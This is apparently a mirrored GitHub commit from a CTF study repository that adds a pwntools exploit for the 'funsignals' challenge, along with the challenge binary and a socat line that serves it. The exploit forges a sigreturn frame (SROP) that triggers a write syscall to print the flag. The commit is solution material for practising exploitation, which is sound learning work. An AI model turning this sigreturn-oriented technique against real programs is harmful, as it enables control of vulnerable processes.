mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2025-06-24 04:05:03 +07:00
update 6.4
This commit is contained in:
19
src/writeup/6.4_pwn_njctf2017_233/exp_funsignals.py
Normal file
19
src/writeup/6.4_pwn_njctf2017_233/exp_funsignals.py
Normal file
@ -0,0 +1,19 @@
|
||||
from pwn import *
|
||||
|
||||
elf = ELF('./funsignals_player_bin')
|
||||
io = process('./funsignals_player_bin')
|
||||
# io = remote('hack.bckdr.in', 9034)
|
||||
|
||||
context.clear()
|
||||
context.arch = "amd64"
|
||||
|
||||
# Creating a custom frame
|
||||
frame = SigreturnFrame()
|
||||
frame.rax = constants.SYS_write
|
||||
frame.rdi = constants.STDOUT_FILENO
|
||||
frame.rsi = elf.symbols['flag']
|
||||
frame.rdx = 50
|
||||
frame.rip = elf.symbols['syscall']
|
||||
|
||||
io.send(str(frame))
|
||||
io.interactive()
|
BIN
src/writeup/6.4_pwn_njctf2017_233/funsignals_player_bin
Executable file
BIN
src/writeup/6.4_pwn_njctf2017_233/funsignals_player_bin
Executable file
Binary file not shown.
@ -1 +1 @@
|
||||
socat tcp4-listen:10001,reuseaddr,fork exec:./233
|
||||
socat tcp4-listen:10001,reuseaddr,fork exec:./233 &
|
||||
|
Reference in New Issue
Block a user